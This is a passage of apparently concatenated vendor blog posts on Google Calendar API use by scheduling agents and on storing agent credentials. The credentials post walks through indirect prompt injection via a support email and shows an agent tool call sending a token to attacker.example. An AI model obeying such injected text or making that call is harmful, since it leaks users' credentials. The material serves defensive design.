{#conclusion} The 2026 data is worth reading and worth discounting, often in the same sentence. A meaningful share of the widely repeated numbers don't trace back to a locatable report, and at least one traceable case turns out to be attached to the wrong claim entirely. What survives scrutiny is the shape: adoption is near-universal, production is rare and inconsistently defined, and the causes that actually explain the gap, when you look at the surveys that publish enough methodology to check, cluster on specification, access, evaluation and ownership rather than on model capability. That shape has a practical reading. If agents failed for capability reasons, the correct strategy would be waiting for better models. They don't, so waiting isn't a strategy. The work that moves an agent from a good demo to a running system is deciding what it may touch, proving what it did, measuring whether it still works, and naming who's responsible. None of that gets easier with a larger model. > **The uncomfortable conclusion:** most teams stuck in the deployment gap aren't blocked on AI. They're > blocked on an authorization decision nobody's made and an evidence trail nobody built. Those are solvable > before the agent works, not after. ## Sources {#sources} - [Gartner Predicts Over 40% of Agentic AI Projects Will Be Canceled by End of 2027 — Gartner, 2025-06-25](https://www.gartner.com/en/newsroom/press-releases/2025-06-25-gartner-predicts-over-40-percent-of-agentic-ai-projects-will-be-canceled-by-end-of-2027) - ["Agent washing" is here: most agentic AI tools are repackaged RPA — IT Pro](https://www.itpro.com/technology/artificial-intelligence/agentic-ai-tools-gartner-agent-washing) - [Why 40% of Agentic AI Projects May Be Canceled by 2027 — Forbes, 2026-07-07](https://www.forbes.com/sites/robertszczerba/2026/07/07/why-40-of-agentic-ai-projects-may-be-canceled-by-2027/) - [State of AI Agent Security Report 2026 — Gravitee (750 respondents, UK/US, April 2026)](https://www.gravitee.io/state-of-ai-agent-security) - [AI Agents at Work 2026: Securing the agentic enterprise — Okta (Apprize360, March 2026)](https://www.okta.com/newsroom/articles/ai-agents-at-work-2026-agentic-enterprise-security/) - [Google Cloud study: 52% of executives say their organizations have deployed AI agents — National Research Group, 3,466 leaders](https://www.googlecloudpresscorner.com/2025-09-04-Google-Cloud-Study-Reveals-52-of-Executives-Say-Their-Organizations-Have-Deployed-AI-Agents,-Unlocking-a-New-Wave-of-Business-Value,1) - [Fivetran launches 2026 Agentic AI Readiness Index (400 data professionals, 2026-05-05) — Fivetran](https://www.fivetran.com/press/fivetran-launches-2026-agentic-ai-readiness-index-revealing-gap-between-enterprise-investment-and-data-preparedness-for-agentic-ai) - [The GenAI Divide: State of AI in Business 2025 — MIT Project NANDA](https://www.aigl.blog/state-of-ai-in-business-2025/) - [MIT finds 95% of GenAI pilots fail because companies avoid friction — Forbes](https://www.forbes.com/sites/jasonsnyder/2025/08/26/mit-finds-95-of-genai-pilots-fail-because-companies-avoid-friction/) - [AI Agent Adoption 2026: 120+ Enterprise Data Points — Digital Applied (the aggregation examined in this post)](https://www.digitalapplied.com/blog/ai-agent-adoption-2026-enterprise-data-points) - [τ-bench: A Benchmark for Tool-Agent-User Interaction in Real-World Domains (arXiv:2406.12045)](https://arxiv.org/abs/2406.12045) - [Benchmarking AI agents for the real world — Sierra](https://sierra.ai/blog/benchmarking-ai-agents) - [Security Challenges in AI Agent Deployment: Insights from a Large-Scale Public Competition (arXiv:2507.20526)](https://arxiv.org/abs/2507.20526) - [The AI Agent Governance Gap: What CISOs Need Now — Cloud Security Alliance](https://labs.cloudsecurityalliance.org/research/csa-research-note-ai-agent-governance-framework-gap-20260403/) ================================================================================ ## Letting an AI Agent Book Meetings on Your Users' Calendars URL: https://www.agenticfabriq.com/blog/ai-agent-google-calendar-scheduling Published: 2026-09-29 Author: Paulina Xu Summary: Most scheduling agents ask for full calendar access when freebusy plus events.owned would do. The scope ladder, conferenceData for Meet links, recurrence, client-generated event ids, and sync tokens. ```tldr **A scheduling agent almost never needs `https://www.googleapis.com/auth/calendar`.** Reading availability is `calendar.freebusy`. Writing the meeting is `calendar.events.owned`. Google lists about twenty Calendar scopes and most agents are wired to the widest one. `freebusy.query` answers with start and end pairs and nothing else. No titles, no attendees, no locations. For "when is this person free", that is the whole answer, and it is a different OAuth grant from "read my calendar". The common instinct is that you need read access to events in order to know when someone is busy. You don't, and the price of that instinct shows up on the consent screen, where your user reads "See, edit, share, and permanently delete all the calendars you can access" before deciding whether to trust your product. We're not claiming narrow scopes make the agent safe. An agent on `events.owned` that retries a timeout can still put four copies of one interview on a candidate's calendar. Scope is one problem, idempotency is another. Today: ask for freebusy and events.owned, give every booking a deterministic client-generated event id, and leave `sendUpdates` on `none` until a human has actually seen the times. ``` ## Overview {#overview} Take a recruiting-coordinator agent. It sits inside your product, each of your customers' recruiters has connected their own Google account, and the job is to find a 45-minute slot that works for the recruiter and the hiring manager, put it on the calendar with a Meet link, and keep it correct when someone moves it. Nothing exotic. It is the single most common thing anyone builds after "read my email". The Calendar API is a good API, and it is also older than the agent pattern by about fifteen years. It assumes a client that knows what it intends to do before it starts. An agent doesn't. It decides mid-loop, it retries when a call times out, and it has no memory of whether the previous attempt landed. That mismatch is where the duplicate events and the accidental invitations come from, and almost none of it is a model-quality problem. This is a Calendar-specific post. OAuth mechanics, token storage and refresh are assumed knowledge here; the scope-tier and CASA assessment side of getting a Google app verified lives in [our post on Google OAuth verification](/blog/google-oauth-verification-casa), and the general shape of acting as one end user against a Google API is the same one we walked through for [sending Gmail from an agent](/blog/send-gmail-from-ai-agent). What's different about Calendar is that the write is visible to other people. A badly-scoped mail agent leaks. A badly-scoped calendar agent emails forty strangers at 6am. > **The scope you pick is a product decision, not a config value.** Your user reads the scope's description on > the Google consent screen and decides there whether your agent is reasonable. "View your availability in your > calendars" and "See, edit, share, and permanently delete all the calendars you can access" are the same > feature to you and completely different products to them. ## The Scope Ladder {#scopes} Google's Calendar auth page lists about twenty scopes. Five of them matter for a scheduling agent, and the descriptions below are the strings Google publishes, which are also roughly what the user sees at consent. | Scope | Google's description | What an agent gets | | --- | --- | --- | | `calendar.freebusy` | "View your availability in your calendars" | Busy blocks. No event contents at all. | | `calendar.events.freebusy` | "See the availability on Google calendars you have access to" | Same query, framed around shared calendars. | | `calendar.events.owned` | "See, create, change, and delete events on Google calendars you own" | Full event read and write, owned calendars only. | | `calendar.events` | "View and edit events on all your calendars" | Events on every calendar the user can reach, including ones shared to them. | | `calendar.readonly` | "See and download any calendar you can access using your Calendar" | Everything, read-only. | | `calendar.app.created` | "Make secondary Google calendars, and see, create, change, and delete events" | A private calendar your app makes and owns. | **Table 1 — The rungs that matter, with the scope descriptions Google publishes on its Calendar auth page.** `freebusy.query` accepts any of `calendar.freebusy`, `calendar.events.freebusy`, `calendar.readonly` or the full `calendar` scope. `events.insert` accepts `calendar`, `calendar.events`, `calendar.events.owned` or `calendar.app.created`. Those two lists barely overlap, which is the useful part: a scheduling agent can hold one narrow read scope and one narrow write scope and never hold a scope that lets it read the contents of a meeting it did not create. `calendar.app.created` is the narrowest write rung and is usually the wrong one anyway. It gives your app its own secondary calendar, which is excellent for something like a shift roster and useless for booking an interview, because the whole point is that the event lands on the recruiter's own calendar next to everything else. Reach for it only when your events genuinely belong in their own container. ```mermaid flowchart TD Q1{"Needs to read<br/>event contents?"} Q1 -->|no, only busy times| FB["calendar.freebusy"] Q1 -->|yes| Q2{"Whose events?"} Q2 -->|only ones we create| APP["calendar.app.created"] Q2 -->|calendars the user owns| OWN["calendar.events.owned"] Q2 -->|shared calendars too| EV["calendar.events"] FB --> W{"Writes events?"} W -->|yes| OWN W -->|no| DONE["freebusy alone"] ``` yes: + calendar.events.owned no : freebusy alone yes -> whose events? only ours -> calendar.app.created user's own -> calendar.events.owned shared as well -> calendar.events calendar (full) and calendar.readonly sit above all of these and are rarely the right answer. --> **Figure 1 — The scope decision for a scheduling agent. Most land on freebusy plus events.owned.** Google's own sensitive-scope verification page uses `https://www.googleapis.com/auth/calendar` as its worked example of a scope that needs review before any account can grant it, which tells you how Google reads the top rung even when your feature is modest. ## Reading Availability {#availability} `POST https://www.googleapis.com/calendar/v3/freeBusy` takes a window and a list of calendars and returns busy intervals: ```json { "timeMin": "2026-10-05T09:00:00-04:00", "timeMax": "2026-10-09T18:00:00-04:00", "timeZone": "America/New_York", "items": [{ "id": "primary" }, { "id": "hiring-manager@example.com" }] } ``` The response gives each calendar a `busy` array of `{start, end}` objects, plus a per-calendar `errors` array when a calendar could not be read. Two limits are worth knowing before you build a team-scheduling feature: `calendarExpansionMax` tops out at 50 calendars and `groupExpansionMax` at 100 identifiers per group. The alternative is `events.list` with `timeMin` and `timeMax`, and it is the wrong tool for availability. It needs a read scope over event contents, it hands your model titles and attendee lists it has no business seeing, and those extra fields go straight into a context window that may be summarized, logged or replayed. Ask for busy blocks and you get busy blocks. Free/busy is also not a complete picture of "free", and the gaps are specific. An event marked `transparency: "transparent"` shows as Available and does not block. An invitation the user hasn't answered still has `responseStatus: "needsAction"`. Event types like `focusTime`, `outOfOffice` and `workingLocation` carry intent that free/busy flattens away. So it can tell you 2pm Thursday is busy without telling you the block is focus time the user would gladly give up, and it will show nothing at all for a real commitment the user marked as Available. An agent that reads the busy array as the whole truth is right about the blocks and wrong about the person. Which brings up double-booking, and we'll take a position: **a free/busy read is not a reservation, and no amount of re-reading makes it one.** The gap between your query and your insert is a race you cannot close from the client side. The correct design is not a tighter check before the write, it is an insert you can recognize and undo afterwards. Write the event, give it an id you chose, then re-read and reconcile. If the slot got taken in the interim, you have a row you can find and cancel, rather than a mystery event nobody can attribute. ## Creating the Event {#creating} Only `start` and `end` are required. Everything interesting is optional, and two of the optional things have sharp edges. ```json { "summary": "Screen: Dana Okafor / Platform Eng", "start": { "dateTime": "2026-10-07T14:00:00", "timeZone": "America/New_York" }, "end": { "dateTime": "2026-10-07T14:45:00", "timeZone": "America/New_York" }, "attendees": [{ "email": "hiring-manager@example.com" }], "conferenceData": { "createRequest": { "requestId": "booking-4f2a9c", "conferenceSolutionKey": { "type": "hangoutsMeet" } } } } ``` A Meet link needs `conferenceDataVersion=1` on the query string. Without it, version 0 "assumes no conference data support and ignores conference data in the event's body", so your request succeeds, returns 200, and produces an event with no link. The conference is also not necessarily ready when the response comes back: `createRequest.status.statusCode` can be `pending`, and only `success` means entry points are populated. An agent that reports the Meet URL straight from the insert response will sometimes report nothing. Re-read the event. The second edge is `attendees`, and this is where we'd draw a hard line. Adding an attendee is not a notification setting, it is a write to someone else's calendar: Google's own guide says the event "appears on all the primary Google Calendars of the attendees". `sendUpdates` takes `all`, `externalOnly` or `none`, and none of those values stops the event from landing on the attendee's calendar. It only controls the email. **An agent should propose times, not issue invitations.** Let it call freebusy, let it rank slots, let it draft the event, and let a human press the button that puts it in front of another human. Where the agent does write directly, restrict it to the connected user's own calendar with no attendees, and let the user invite people from the Calendar UI they already know. The one case we think justifies direct invitation is an explicit standing instruction from the user for a defined counterparty, and even then we'd send `sendUpdates: "none"` and tell the user what went out. This is the same identity question as [user tokens versus bot tokens in Slack](/blog/slack-ai-agent-user-vs-bot-token): the invitation goes out in the user's name whether or not the user was involved in composing it. ```mermaid sequenceDiagram participant U as End user participant A as Agent participant G as Gateway participant C as Calendar API A->>G: freebusy.query (window, calendars) G->>C: POST /freeBusy C-->>G: busy blocks only G-->>A: candidate slots A-->>U: proposed times U->>A: picks one A->>G: events.insert (client id, conferenceDataVersion=1) G->>C: POST /events?conferenceDataVersion=1 C-->>G: event, conference status pending G->>C: events.get (re-read) C-->>G: Meet link, final state G-->>A: confirmation ``` **Figure 2 — The booking path. The read scope and the write scope are different grants, and the confirmation comes from a re-read rather than from the insert response.** ## Recurrence and Time Zones {#recurrence} Recurrence is where agents quietly produce garbage, because the data model is not the one they infer from the UI. A recurring event is one resource carrying `recurrence`, a list of RRULE, EXRULE, RDATE and EXDATE lines in RFC 5545 form. Its occurrences are instances, each with a `recurringEventId` pointing back at the parent and an `originalStartTime` that identifies the occurrence even after it has been moved. `events.list` returns the parent, not the instances, unless you pass `singleEvents=true`. And `orderBy=startTime` is "only available when querying single events", so any agent that wants a chronological view of the next two weeks needs `singleEvents=true` whether it thinks about recurrence or not. For one known series, `events.instances` is the direct route. The time zone rule is worth memorizing because it is load-bearing and easy to get away with in testing. In `start` and `end`, `dateTime` requires "a time zone offset ... unless a time zone is explicitly specified in `timeZone`", and for recurring events "this field is required and specifies the time zone in which the recurrence is expanded". An agent that normalizes everything to UTC offsets will produce a weekly standup that silently shifts by an hour on the first Monday after a DST change. Carry the IANA name. `America/New_York`, not `-04:00`. One more, quoted because the guide is unusually direct about it: "Do not modify instances individually when you want to modify the entire recurring event, or 'this and following' instances." Doing so generates exceptions, degrades performance and fires a notification per instance. An agent asked to "move my Tuesday sync" will reach for the instance it can see. It should be reaching for the parent, and the tool you hand it should make that distinction explicit rather than hoping the model infers it. ## Not Booking It Twice {#idempotency} `events.insert` is not idempotent by default. Call it twice and you get two meetings. An agent that hits a timeout, gets no body, and decides to retry has no way to tell "the insert failed" from "the insert succeeded and the response was lost", which is the oldest problem in distributed systems arriving somewhere that assumed a human was clicking. Calendar gives you the fix, and it is underused. You may supply the event `id` yourself. The rules: "characters allowed in the ID are those used in base32hex encoding, i.e. lowercase letters a-v and digits 0-9", length between 5 and 1024, unique per calendar. Google's create-events guide is explicit about why it exists: a client-generated id "prevents duplicate event creation if the operation fails." The practical trick is that hex digits are a subset of base32hex's alphabet, so a hex digest is already a legal event id. Derive it from things that do not change on retry: ```python import hashlib def event_id(booking_id: str, attempt_of: str) -> str: # booking_id is OUR primary key for this booking; attempt_of is the slot start. digest = hashlib.sha256(f"{booking_id}|{attempt_of}".encode()).hexdigest() return f"bk{digest[:40]}" # 42 chars, all within a-v0-9 ``` Retry with the same id and the second insert conflicts instead of duplicating. Google notes that because the backend is distributed, a 409 is not guaranteed on every collision, so treat the conflict as the fast path and a re-read as the correctness path. And don't confuse `id` with `iCalUID`: "only one of them should be supplied at event creation time", and every instance of a recurring event has a different `id` while sharing one `iCalUID`. The Meet request has its own version of this. `conferenceData.createRequest.requestId` is documented as "client-generated unique ID for this request", and "if an ID provided is the same as for the previous request, the request is ignored". Regenerate it for a genuinely new booking. Keep it stable across retries of the same booking, or you will provision conferences you never use. > **Idempotency belongs in the tool, not in the prompt.** Any write tool an agent can reach should derive its > key from the work item rather than accepting one the model invented, because a model asked to supply a unique > id will cheerfully supply a different one on the retry. That is the failure the key exists to prevent. ## Staying in Sync {#sync} Once you have written an event, the user owns it. They will move it, decline it, or delete it from their phone, and your agent's view goes stale in minutes. Polling `events.list` on a timer is the wrong answer and also the expensive one: the quota is 10,000 queries per minute per project and 600 per minute per user per project, with a billing threshold at 1,000,000 requests per day per project. A hundred users polled every minute is not a rounding error. Incremental sync is the mechanism. A full `events.list` returns `nextSyncToken`; pass it back as `syncToken` and you get only what changed, including deletions, because "the result will always contain deleted entries, so that the clients get the chance to remove them from storage." Deleted events arrive with `status` of `cancelled`. The trap is parameter compatibility. `syncToken` cannot be combined with `iCalUID`, `orderBy`, `privateExtendedProperty`, `q`, `sharedExtendedProperty`, `timeMin`, `timeMax` or `updatedMin`. You cannot window an incremental sync by date. Teams discover this after building the full sync with a time range and finding the incremental request returns 400. Pick your parameter set at the first request and keep it identical forever, because "each list request should use the same set of query parameters, including the initial request." Tokens also expire. An incremental request against a dead token returns 410, and the documented response is blunt: it "should trigger a full wipe of the client's store and a new full sync." Build that path first. It will run. Push notifications tell you when to sync rather than replacing the sync. `events.watch` takes an `id`, a `type` of `"web_hook"` and an HTTPS `address` with a valid certificate. `params.ttl` defaults to 604800 seconds, seven days, and "there's no automatic way to renew a notification channel" — you re-watch with a fresh id before the `expiration` timestamp the watch response hands you. Notifications carry `X-Goog-Resource-State` of `sync`, `exists` or `not_exists`, and crucially "do not include a message body". The webhook is a doorbell. The sync token is the delivery. ```mermaid stateDiagram-v2 [*] --> FullSync FullSync --> Steady: store nextSyncToken Steady --> Watching: events.watch, ttl 604800s Watching --> Incremental: X-Goog-Resource-State exists Incremental --> Steady: new nextSyncToken Watching --> Rewatch: expiration approaching Rewatch --> Watching: new channel id Incremental --> FullSync: 410 GONE ``` **Figure 3 — The sync loop. Webhooks say something changed; sync tokens say what.** For retries on 403 and 429, Google publishes the backoff it wants: `min(((2^n)+random_number_milliseconds), maximum_backoff)`, with the random component up to 1,000ms and the ceiling typically 32 or 64 seconds. Put that in the tool, not in the agent loop. A model deciding when to retry will retry immediately. ## Conclusion {#conclusion} The interesting decisions in a calendar agent are all made before the model runs. Which scope you requested determines what the user reads at consent and what the agent can do on its worst day. Whether your insert carries an id you chose determines whether a lost response becomes a duplicate meeting. Whether your tool distinguishes a recurring parent from one of its instances determines whether "move my Tuesday sync" moves one meeting or shatters a series into exceptions. Our defaults, then: `calendar.freebusy` for reads and `calendar.events.owned` for writes, so the agent can see when the user is busy but never what they are busy with. A deterministic event id on every booking. A re-read after every write, because the insert response is not the final state when a Meet link is involved. IANA time zone names everywhere. Sync tokens with a working 410 path. And a human between the proposal and the invitation, because the person receiving that invitation never agreed to be part of your product. Fabriq Developer is where we put this for our own users: your end users connect their own Google accounts under an external user id you choose, the credentials sit in our vault rather than your database, and the agent mints a short-lived user-scoped token, 900 seconds, per unit of work. The Calendar surface is its own provider slug, `google_calendar`, separate from Gmail and Drive, so a scheduling agent's grant stays a scheduling agent's grant. Calls go to `/mcp/external` with that user token, and `providers/capabilities` tells you which providers this deployment can actually connect before you render a connect button. The scope decisions above are still yours to make. We'd rather they be explicit than inherited from whichever example you copied first. > **The consent screen is the contract.** Everything after it is you keeping your side of a promise your user > read once, quickly, before clicking Allow. Ask for the narrow scope even when the wide one is less work, > because the wide one is what you'll have to defend the day something goes wrong. ## Sources {#sources} - [Choose Google Calendar API scopes](https://developers.google.com/workspace/calendar/api/auth) — the full scope table and the description strings users see at consent. - [Freebusy: query](https://developers.google.com/workspace/calendar/api/v3/reference/freebusy/query) — accepted scopes, request body, `calendarExpansionMax` 50 and `groupExpansionMax` 100. - [Events: insert](https://developers.google.com/workspace/calendar/api/v3/reference/events/insert) — `conferenceDataVersion`, `sendUpdates` values, accepted scopes, and the `start.timeZone` requirement for recurring events. - [Events resource reference](https://developers.google.com/workspace/calendar/api/v3/reference/events) — `id` rules, `iCalUID`, `transparency`, `recurringEventId`, `originalStartTime`, conference `statusCode` values. - [Events: list](https://developers.google.com/workspace/calendar/api/v3/reference/events/list) — `singleEvents`, `orderBy`, and the parameters `syncToken` is incompatible with. - [Events: watch](https://developers.google.com/workspace/calendar/api/v3/reference/events/watch) — channel fields and the 604800-second default `params.ttl`. - [Create events](https://developers.google.com/workspace/calendar/api/guides/create-events) — client-generated ids preventing duplicates, attendee behaviour, Meet `createRequest`. - [Recurring events](https://developers.google.com/workspace/calendar/api/guides/recurringevents) — RRULE, instances, and the warning against editing instances to change a series. - [Synchronize resources efficiently](https://developers.google.com/workspace/calendar/api/guides/sync) — `nextSyncToken`, the restricted parameter set, and the 410 full-resync path. - [Push notifications](https://developers.google.com/workspace/calendar/api/guides/push) — watch setup, notification headers, no message body, manual channel renewal. - [Usage limits](https://developers.google.com/workspace/calendar/api/guides/quota) — 10,000 queries per minute per project, 600 per user per project, and the exponential-backoff formula. - [Sensitive scope verification](https://developers.google.com/identity/protocols/oauth2/production-readiness/sensitive-scope-verification) — uses the full `auth/calendar` scope as its worked example. - [Events and calendars concepts](https://developers.google.com/workspace/calendar/api/concepts/events-calendars) — organizer and attendee model, primary versus secondary calendars. - [Google Calendar API release notes](https://developers.google.com/workspace/calendar/release-notes) — the granular-scope additions and the `birthday` event type. ================================================================================ ## Where Should an AI Agent's Credentials Live? URL: https://www.agenticfabriq.com/blog/storing-agent-credentials Published: 2026-09-29 Author: Paulina Xu Summary: A secret manager protects a credential from your disk, not from your model. Storage options, envelope encryption, short-lived tokens and what revocation actually does, checked against vendor docs. ```tldr **A credential should live in a vault the agent cannot read, and reach the provider inside a request the agent never sees.** The failure mode isn't a leaked `.env` file. It's a valid token that sat in a model's context window and left in a tool call. That distinction is the whole argument. An agent's context is filled with content an attacker can reach: retrieved documents, tool output, a ticket someone emailed in. OWASP's own position on prompt injection is that "it is unclear if there are fool-proof methods of prevention." So the usual advice stops one step short. Moving a key from a config file into AWS Secrets Manager changes who can read it off a disk. It does nothing about who can read it out of a prompt, because your agent is authorized to fetch it and will happily do so on request. We're not claiming secret managers are theatre. Envelope encryption, key policies and audited access are real, and you want all of them. They just solve a different problem than the one agents introduce. The three moves that do help: attach credentials server-side at call time so the agent holds a reference, prefer a 15-minute token over a stored refresh token, and hold one credential per user rather than one shared key for everybody. ``` ## Overview {#overview} Take an IT helpdesk agent at a 900-person company. It reads each employee's mailbox and calendar through Microsoft Graph, files tickets, resets things it's allowed to reset. To do that it needs a credential for Graph, a credential for the ticketing system, and because it acts for named people, it needs a different Graph credential for each of the 900 employees. Ask the team where those credentials live and you'll usually get an infrastructure answer. Secrets Manager. Key Vault. Vault, with a Kubernetes auth method. All reasonable, all beside the point, because the question that decides whether this agent is safe is not where the bytes are encrypted. It's whether the plaintext ever enters the model's context, and what the agent can do with it once it's there. Storage mechanics for OAuth tokens are covered separately in [how to store OAuth tokens securely](/blog/store-oauth-tokens-securely), refresh mechanics in [token refresh 101](/blog/oauth-refresh-tokens), and the three runtime controls in [permissioning, audit and revocation](/blog/permissioning-audit-revocation). This is the layer underneath those: the storage substrate itself, named services and their actual documented behaviour, and the specific way that behaviour changes when the thing holding the credential is a language model. > **The rule we'd start from:** a credential the agent can read is a credential the agent can leak. Treat the > context window as an output channel, not a workspace. ## The Threat That Makes This Different {#threat} Ordinary secret storage assumes a well-behaved process. The code that fetches the secret is code you wrote, it uses the secret for the call it was fetched for, and it doesn't narrate its memory contents to strangers. None of that holds for an agent. An agent's context window is assembled at runtime out of whatever it retrieved. OWASP's LLM01 entry describes the mechanism plainly: "Indirect prompt injections occur when an LLM accepts input from external sources, such as websites or files. The content may have...data that when interpreted by the model, alters the behavior of the model in unintended or unexpected ways." For the helpdesk agent, the external source is an inbox. Anyone with the support address can put text in front of the model. Now put a Graph token in the same context, and the agent has both the secret and a way to send it. It doesn't need a vulnerability. It needs a plausible instruction and any tool that makes an outbound request. ```mermaid sequenceDiagram participant M as Mailbox participant A as Agent participant T as HTTP tool participant X as attacker host M->>A: ticket email with hidden instructions Note over A: access token sits in the context window A->>T: GET https://attacker.example/?d=eyJ0... T->>X: request carries the credential X-->>T: 200 OK A->>M: files a normal-looking ticket ``` Agent Agent context already holds the access token Agent --GET attacker.example/?d=<token>--> HTTP tool --> attacker host Agent then files an ordinary ticket. No error, no alert. --> **Figure 1 — Indirect prompt injection as a credential-exfiltration path. The delivery is a support email and the exit is an ordinary tool call, so nothing in the run looks like a failure.** Injection is the delivery mechanism, and it isn't a solved problem. OWASP says so directly: "Given the stochastic influence at the heart of the way models work, it is unclear if there are fool-proof methods of prevention for prompt injection", and notes that retrieval and fine-tuning "do not fully mitigate prompt injection vulnerabilities." Build on the assumption that some fraction of injections land. Which is why the protocol people landed on the same conclusion from a different direction. MCP's security guidance forbids passing credentials through a server that hasn't validated them: "MCP servers **MUST NOT** accept any tokens that were not explicitly issued for the MCP server." Its stated reason is worth keeping: "If the MCP Server passes tokens without validating their claims (e.g., roles, privileges, or audience) or other metadata, a malicious actor in possession of a stolen token can use the server as a proxy for data exfiltration." There's a quieter version of the same problem. Even with no attacker, a secret in the context gets copied wherever the context goes: your tracing backend, your prompt logs, your eval fixtures, the model provider's request path. A token in a prompt is a token in five systems you didn't threat-model. ## Where a Credential Can Actually Live {#options} Five patterns cover nearly everything teams do, and they differ mainly in one column: can the agent read the plaintext? | Pattern | Who can read the plaintext | Rotation story | Use it when | | --- | --- | --- | --- | | Environment variables and `.env` | Every line of code in the process, including any shell or file tool the model can call | Redeploy | Local development, and honestly not much else | | Cloud secret manager (AWS Secrets Manager, Google Secret Manager, Azure Key Vault) | Any code holding the fetch permission, so still the agent process | Managed or scheduled; varies sharply by vendor | Service-level credentials with a stable owner | | HashiCorp Vault dynamic secrets | The agent, but only for the lease duration | Built in: credentials are minted per request and die with the lease | Databases and cloud accounts that support dynamic backends | | Broker that injects at call time | Nobody in the agent process; the agent holds a reference | Owned by the broker, invisible to the agent | Any agent exposed to untrusted content | | Per-user credentials behind a broker | Nobody in the agent process; scoped to one person | Per-connection refresh | Agents acting on behalf of many named people | **Table 1 — Storage patterns for agent credentials, ordered roughly by how much the agent gets to see. The rotation column is where vendor behaviour differs most, and the differences are documented below.** Environment variables deserve one paragraph and no more. The process boundary is the security boundary, and an agent with a shell tool, a file-read tool or a Python sandbox has crossed it by design. If you hand an agent the ability to run code, `printenv` is a tool call. Cloud secret managers are a genuine improvement and a common misreading. They move the trust anchor from your filesystem to a KMS key with an auditable policy, which is worth real money. But the fetch permission still belongs to the agent's process, so the plaintext still lands somewhere the model might be induced to read. The bootstrap problem is also stubborn, and Microsoft's own Key Vault documentation is unusually candid about it: it recommends managed identities because "the app or service isn't managing the rotation of the first secret", and says of the alternative that "it's hard to automatically rotate the bootstrap secret that's used to authenticate to Key Vault." If your platform offers a workload identity, take it. That's one fewer long-lived string in your system. Vault's dynamic secrets are the strongest version of the storage idea, because they make the credential short-lived by construction. Every dynamic secret comes with a lease, which Vault defines as "metadata containing information such as a time duration, renewability, and more", and the promise attached to it is that "Vault promises that the data will be valid for the given duration, or Time To Live (TTL)." Expiry does the cleanup: "When a lease is expired, Vault will automatically revoke that lease." Lease IDs are also path-prefixed, so `vault lease revoke -prefix aws/` kills a whole tree at once. For a database or a cloud account, that beats anything you'll build. A broker is the pattern that actually answers Figure 1. The agent calls a tool by name with arguments. The broker resolves which credential that call needs, attaches it server-side, makes the request, and returns the result. The agent ends up holding a session, not a secret, and the exfiltration path in Figure 1 has nothing to carry. ```mermaid flowchart LR subgraph S["agent reads the secret"] A1["agent"] --> V1["vault fetch"] V1 --> C1["plaintext in context"] C1 --> P1["provider API"] end subgraph B["broker attaches the secret"] A2["agent"] --> H2["tool call + reference"] H2 --> G2["broker resolves<br/>and attaches credential"] G2 --> P2["provider API"] end ``` **Figure 2 — The same call, two trust models. The only structural difference is whether the plaintext crosses into the model's context, and that difference is what decides the blast radius of an injection.** Per-user credentials are the last row and the one most enterprise agents need. One shared service account for 900 employees means the agent's reach is the union of everyone's access, forever, and your audit trail says "the agent did it" rather than naming the person it acted for. ## Encryption at Rest, in the Terms the Services Use {#encryption} Every managed secret store does the same thing under different names, and it's worth knowing the names because the configuration knobs hang off them. **Envelope encryption** means the secret is encrypted with a data key, and the data key is encrypted with a key that lives somewhere better. AWS documents the sequence exactly: Secrets Manager "uses the KMS key to generate and encrypt a 256-bit Advanced Encryption Standard (AES) symmetric data key, and uses the data key to encrypt the secret value", then "uses the plaintext data key to encrypt the secret value outside of AWS KMS, and then removes it from memory." The encrypted data key is stored in the secret's metadata. Google Secret Manager describes the same two layers, a per-object DEK wrapped by "a key encryption key (KEK) that is owned by the Secret Manager service", with customer-managed keys swapping that KEK for one you hold in Cloud KMS. Azure splits the choice at the container: vaults "support storing software and HSM-backed keys, secrets, and certificates" while "Managed HSM pools only support HSM-backed keys", validated to FIPS 140-3 Level 3. Two AWS details matter more for agents than they do for ordinary workloads. Secrets Manager encrypts the secret value but explicitly not the secret name, description, rotation settings or tags, so don't put anything sensitive in a secret's name. And every encrypt and decrypt carries an encryption context naming the secret ARN and version, which you can use as a condition in an IAM or key policy. Combined with the `kms:ViaService` condition key pinned to `secretsmanager.<region>.amazonaws.com`, that gives you a second gate that a stolen role has to pass. **Rotation** is where the three clouds stop agreeing, and the gap catches people. AWS runs it for you: managed rotation for supported services, or a Lambda rotation function for everything else, promoting versions through the `AWSCURRENT`, `AWSPENDING` and `AWSPREVIOUS` staging labels. Google Secret Manager does not rotate anything. It notifies. Secret Manager "triggers a `SECRET_ROTATE` message to the designated Pub/Sub topics" at the secret's `next_rotation_time`, and "You must configure a Pub/Sub subscriber to receive and act on the `SECRET_ROTATE` messages." The `rotation_period` "can't be less than one hour long". If you read "rotation" on that product page and assumed the credential changes by itself, it doesn't, and the secret quietly ages. > **Encryption at rest defends against the disk, the backup and the database administrator.** It does not > defend against a caller with the fetch permission, and your agent is exactly that caller. Those are > different threats and they need different controls. There's a rotation trap specific to per-user OAuth storage. Providers that rotate refresh tokens hand you a new one on every refresh, which means a write per user per refresh cycle. AWS advises you "avoid calling `PutSecretValue` or `UpdateSecret` at a sustained rate of more than once every 10 minutes", caps versions at 100 per secret, and "removes unlabeled versions when there are more than 100, but it does not remove versions created less than 24 hours ago." A secret manager is built for secrets that change monthly. A rotating per-user refresh token is closer to a row in a database, and that is usually where it should live, encrypted under a KMS key rather than stored as a managed secret. ## Short-Lived Tokens, and What Federation Replaces {#short-lived} A 15-minute token and a stored refresh token are not the same object with different numbers on them. One is a bounded liability. The other is a standing grant that an attacker can keep using until somebody notices. The numbers are worth being precise about. AWS STS `AssumeRole` accepts a `DurationSeconds` "from 900 seconds (15 minutes) up to the maximum session duration set for the role", default 3600, ceiling 43200, and role chaining is "limited to a maximum of one hour" regardless. Session policies passed at assume time give you narrowing for free: "the resulting session's permissions are the intersection of the role's identity-based policy and the session policies", and you cannot widen past the role. For an agent doing one job, that's a per-task credential with a per-task scope. Microsoft's defaults are the counter-example. An Entra access token's "default lifetime is assigned a random value ranging between 60-90 minutes (75 minutes on average)", configurable from 10 minutes to 23:59:59. But refresh and session token lifetimes "are no longer configurable through token lifetime policies", and the documented default for both single-factor and multi-factor refresh token max age is **Until-revoked**, with a 90-day max inactive time. Store one of those and you're holding something with no expiry date. Continuous Access Evaluation changes the shape rather than the size: capable clients may get tokens extended to 24-28 hours, which are then "revoked in near real time in response to critical events such as account disablement and password changes." Google's expiry rules are different again, and two of them bite in test environments. A refresh token stops working if "the refresh token has not been used for six months", and a project whose consent screen is in "Testing" gets a refresh token "expiring in 7 days". There is also "a limit of 100 refresh tokens per Google Account per OAuth 2.0 client ID", which an agent platform minting a fresh grant per session will hit. **Workload identity federation** is the piece that removes the bottom credential entirely. Google's framing of the problem it solves is 